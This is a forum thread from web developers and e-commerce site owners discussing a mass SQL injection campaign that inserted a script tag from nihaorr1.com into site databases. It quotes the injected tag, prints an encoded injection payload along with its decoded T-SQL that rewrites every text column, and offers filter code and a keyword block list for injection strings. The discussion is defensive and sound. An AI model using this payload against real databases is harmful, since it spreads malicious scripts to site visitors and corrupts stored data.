whois lookup showing nihaorr1 registered via Chinese registrar xinnet.com

I used the safety of a VM to look under the hood at the operations of the 1.js file.

It writes several iframes to that seem to come up as page not found (Chinese language pack)
A look at the script is bit confusing and garbled (of course) but consistent reference is made to "cuteqq" as a variable and variable prefix. It creates an executable I have yet to determine its intent or impact.
Googling "cuteqq" pulls up all sorts of harmful flagged pages.  Anyone have any insight on that?

</snip>

It used to be that "sql injection" was all the rage.  In recent months an attack method called "cross site scripting" has become ever so popular and is deadly.  The level of hack attempts has become intense and strong protective measures are necessary.

ProductCart has strong security measures but many sites have other software, such as FAQ tools, news tools, and the like built into them.  Any of those secondary applications may be vulnerable to security threats. 

As a general warning to the entire PC community:  If you have added other scripts to your site, you would be well-advised to engage the services of a professional programmer to review your site and examine such applications for security threats.  It's worth a couple hours of someone's time to poke around instead of running the risk that some day you have to confront the fact you have been hacked.

Here is an e-mail I received from a fellow-developer yesterday, which he had just received from a client.  Don't be the next site to get hacked.   Protect yourselves!

“This past weekend it would appear our database was compromised somehow and it pasted this script into every item we have and just totally deleted all the item descriptions. I have contacted the site host and they did a database restore and everything was fine. Now today I see that same script has been paste to our “add to cart” button and not allowing customers to purchase item.

Here is the script: <script sr<script src=http://www.nihaorr1.com/1.js></script>”

BTW, I should note that the above customer does NOT use PC.  They use a different cart...

Kimmy - your question arrived while I was posting the other response. 

What has to happen is that you have to examine the values that are being passed from page to page.  Someone may have different ideas about how to address this, but here is an example of what I implement for pages that pass a numeric id for a category.  Essentially, if the required category is not provided, I set a fail code.  If the passed value is not a number, I set a fail code.  And when the fail code is set, then I gracefully display a "invalid entry" message and kill the page.  The threat ends there.  (If others have alternative approaches, PLEASE let us know.)

<%
catid = getUserInput(Request.QueryString("catid"),0)
badcat = "0"
if trim(catid) = "" then badcat = "1"
if IsNumeric(trim(catid)) = "False" then badcat = "1"
if badcat = "1" then

%>
<div class="bodytext">
<br /><br /><br />Sorry - insufficient data to process request<br /><br /><br />
</div>
<!--#include virtual="/gallery/includes/footer.asp"-->
<!--#include virtual="/includes/footer.asp"-->
</body>
</html>
<%
response.end
end if
%>

Now in your case, you are passing 2-digit alpha state codes.  If that is the only legitimate value, then you can use ASP string commands to trim that value to a 2-digit length.  By doing that, if the hacker placed additional characters into the querystring, they are chopped off and rendered harmless.

I have another mechanism that I use.  It is a script that is installed in the site, replaces the IIS 500-100 error, and sends the site owner or host (me) an e-mail when a page in the site crashes.  It tends to not be effective for the PC section of the site because EI has their own error handling.  But for other pages, I have found this an essential tool in my defensive measures.  I know every time a script chokes and can frequently tell that the reason for the page crashing was a hack attempt.

Again, if anyone has alternatives they consider stronger or more effective, please speak up.  The barrage of hack attempts these days seems endless and I take these threats very seriously.

I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com

My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck.

The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.

To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no.
The injection appears to be VERY SIMPLE. It does not need to be an ASP page containing a form. Last week we cleaned and patched up more than 10 websites affected by these attacks and 8 of them had been injected through the querystring of a simple "select" page. No forms or update statements existed on the pages from where the injection was entering.
However, the command being executed is fairly complex in itself.

I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again.
You will indeed need to strengthen your code the sooner the better, but in this particular case consider the following for a temporary solution:

Create an include file with something like this:

<%
if instr(lcase(sql),";--")>0 then
response.redirect("index.asp")
end if

if instr(lcase(sql),"nvarchar")>0 then
response.redirect("index.asp")
end if
%>

Call it, forexample, Validator.asp and put it right before your select statements are executed:

<!--#include file="validator.asp"-->
rs.Open sql

This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed.

Ofcourse you have to discover which pages are being used to inject this code.
Most likely it is not a page that requires a member session to be viewed since the spiders are attacking pages that are cached in Google.

Is there a tool or a mechanism to find it?
The best way to discover when and where the attack is taking place is by running, forexample, SQL Server Profiler.
Set it to record only Exec commands and when the injection happens it will show up and should reflect something like this:

SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020 004600450054004300480020004E00450058005400

2000460052004F004D00200020005400610062006C0065005F0043007500 720073006F007200200049004E0054004F002000400

054002C0040004300200057280076006100720063006800610072002C005 B0027002B00400043002B0027005D00290029002B00

270027003C0073006300720069007000740020007300720063003D006800 7400740070003A002F002F007700770077002E006E0

06900680061006F00720010062006C0065005F0043007500720073006F00 7200
AS NVARCHAR(4000));EXEC(@S);--' And Mem.ID = Musicas.MemIDs ORDER BY Mem.Fealogs DESC

Once you run the statement through the descrypter you'll get something like this:

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed.
You can also see from the above command that the Exec will try to inject every table in your database which can contain varchar type.

This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and even drop tables if the external users are configured to have such rights.
I'm saying this to put a rush on everyone affected by these attacks and to get their sites fixed up as soon as possible.
These attacks may just be a pre-warning, and if the attackers alter the code to make it delete and drop instead, then we'll be facing much bigger problems.

Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this.

Feel free to contact me and I'll do my best to get back to you.

Regards,

Nicolai Hertz
Software Programmer

<<<The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.>>>

Well, I think that's a bit of a stretch.  I track this fairly closely and while there is a very heavy level of traffic from China, I see it coming from all over the place including Turkey, Ukraine and many other nations.  There are hack teams who do so in order to protest US foreign policy issues, the specifics of which I'm well aware but will leave that for discussion off this board, and there are also those who hack for the purpose of introducing links to sites (for example porn) in order to gain higher link popularity.  I have seen and dealt with both.

And I also think the idea of simply scanning query strings for "--" and "nvarchar" seems a bit incomplete.  A script we use to scan for SQL injection threats includes the following:

        Case InStr(1, strToCheck, "@@version") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " and 1=1") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " and 1=2") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " and user") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " char ") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " user ") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " version") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "+char+") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " sysobjects") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "+user+") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "1=1") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "1=2") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "char(124)") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "convert(int") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "convert(varchar") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "declare+@") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "declare @") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "exec(") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "having 1=1--") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "having 1=1--") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "is_srvrolemember") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "sysadmin") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "union") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "waitfor delay") > 1:    blnMatch = True

Greg,
I certainly didn't want to turn this issue into something political either, but I do want to insist once again: My intention is to be very focused on this SPECIFIC attack taking place since I'm seeing more and more discussion boards using this incident to talk openly about SQL injection in general and recommending antivirus products and expensive exploit scanners which, I insist, can do very little.
Adding the include file to avoid query strings containing "--" and "nvarchar" is definitely not a "complete solution" but neither is your longer script.. The better solution is to used stored procedures and not execute SQL commands directly on the ASP pages.. However, as mentioned in my previous post, the idea is block out this specific attack as soon as possible while webmasters go about strengthening their code (which can take many days). Blocking "--" and "nvarchar" will keep out this repeating attack and that is why I don't post more lines of code and nifty script. I want to focus on this issue and I'm seeing very few solutions being posted around the web.
I think it would be more helpful if the people with direct experience in treating this incident would post specific solutions.

Regards,

Nicolai Hertz
Software Programmer

• The current version of ProductCart (3.11) passes all HackerSafe tests successfully. Most of these tests are indeed focused on preventing SQL injections.
  
• We have no reports of any open vulnerability.
• We have no reports of any security breaches.
• We have always reacted and will always react as promptly as possible to address any new vulnerability report, should new ones arise.

Let me just clarify that I was not referring to Early Impact software in any of my posts. It was my bad for not being more specific! You are right that I am not familiar with the source code behind your software and therefore I cannot argue for or against it.
I was referring to posts in forums around the web making reference to antivirus products from companies like Symantec, Bit defender, Sophos etc..
I don't want to criticise these products in any way, I'm just leaving clear that standard antivirus or firewall software is not going to help you on this one.

Regards,

Nicolai Hertz
Software Programmer

This was just forwarded to me.  I see a familiar domain name (nihaorr1) listed in there:
http://securitylabs.websense.com/content/Alerts/3070.aspx - http://securitylabs.websense.com/content/Alerts/3070.aspx